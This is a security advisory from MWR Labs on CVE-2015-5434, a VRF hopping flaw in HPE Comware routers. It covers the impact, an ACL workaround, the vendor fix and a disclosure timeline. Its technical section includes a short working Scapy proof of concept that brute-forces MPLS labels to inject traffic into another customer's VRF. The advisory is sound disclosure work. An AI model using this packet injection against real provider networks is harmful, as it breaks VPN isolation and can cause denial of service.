MWR LABS

Security Advisory

HPE VRF Hopping Vulnerability

2016-02-12

Software	Comware 5 and Comware 7
Affected Versions	Please refer to HPE's security bulletin.
CVE Reference	CVE-2015-5434
Author	G. Geshev
Severity	Medium
Vendor	Hewlett Packard Enterprise
Vendor Response	Fix Released

Description:

Virtual Routing and Forwarding (VRF) allows multiple instances of a routing table to exist and operate simultaneously on the same physical device. This technology can be applied for Layer 3 network segmentation, analogous to Virtual LAN (VLAN) on Layer 2. VRF is commonly used as a building block for Layer 3 Virtual Private Network (VPN) services in Multiprotocol Label Switching (MPLS) networks.

A Virtual Routing and Forwarding (VRF) hopping vulnerability exists in a number of Hewlett Packard Enterprise (HPE) routers. The affected routers fail to discard maliciously crafted MPLS traffic which can be remotely exploited by an attacker to forward traffic from one VPN to another VPN using MPLS links.

Impact:

Successful VRF hopping attacks can result in forwarding traffic into an arbitrary VRF or potentially lead to a Denial of Service (DoS) condition.

Cause:

Certain routers fail to discard customer-generated MPLS traffic received on a Provider Edge (PE) link to a Customer Edge (CE) device.

Interim Workaround:

A possible workaround, as suggested by the vendor, is to apply a Layer 2 Access Control List (ACL) on a PE's customer-facing interface. This ACL must be configured to discard traffic pre-encapsulated in MPLS, which is achieved by filtering out Ethernet frames with EtherType of 0x8847.

Solution:

Software updates have been released by the vendor to address the VRF hopping vulnerability. Please refer to HPE's security advisory for detailed information on affected versions and the available software fixes [1].

Technical Details:

An adversary with access to a CE device can pre-encapsulate her traffic in MPLS in order to coerce a PE router into forwarding her traffic on to an arbitrary VRF. The attacker can either assign a fixed label value or, in the case of an unknown label, can perform a brute-force attack of a valid label.

The following Scapy snippet can be used to reproduce the attack, where '192.168.100.2' and '192.168.201.2' are the attacker's and victim's IP addresses respectively.

```
>>> load_contrib('mpls')
>>> a = Ether(src = '08:00:27:12:27:13', dst = 'XX:XX:XX:a3:7b:01')
>>> b = MPLS(ttl = 64, label = range(1000, 1500))
>>> c = IP(src = '192.168.100.2', dst = '192.168.201.2')
>>> d = ICMP()
>>> sendp(a/b/c/d)
...
Sent 500 packets.
>>>
```

For further details, possible attack scenarios and limitations, please refer to G. Geshev's slide deck from B-Sides NYC [2].

Detailed Timeline

Date	Summary
2015-04-22	Initial contact with HPE
2015-04-22	HPE requesting details from MWR
2015-04-22	Technical details disclosed to HPE
2015-04-22	HPE confirms reception
2015-05-01	Further technical details requested by HPE
2015-05-01	Further details provided by MWR
2015-05-01	HPE acknowledges reception
2015-05-27	HPE confirms a number of products are affected
2015-12-18	Fix released by HPE

[1] http://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c04779492

[2] https://github.com/bsidesnyc/BSidesNYC2016/raw/master/Presentations/G. Geshev - Warranty Void If Label Removed.pdf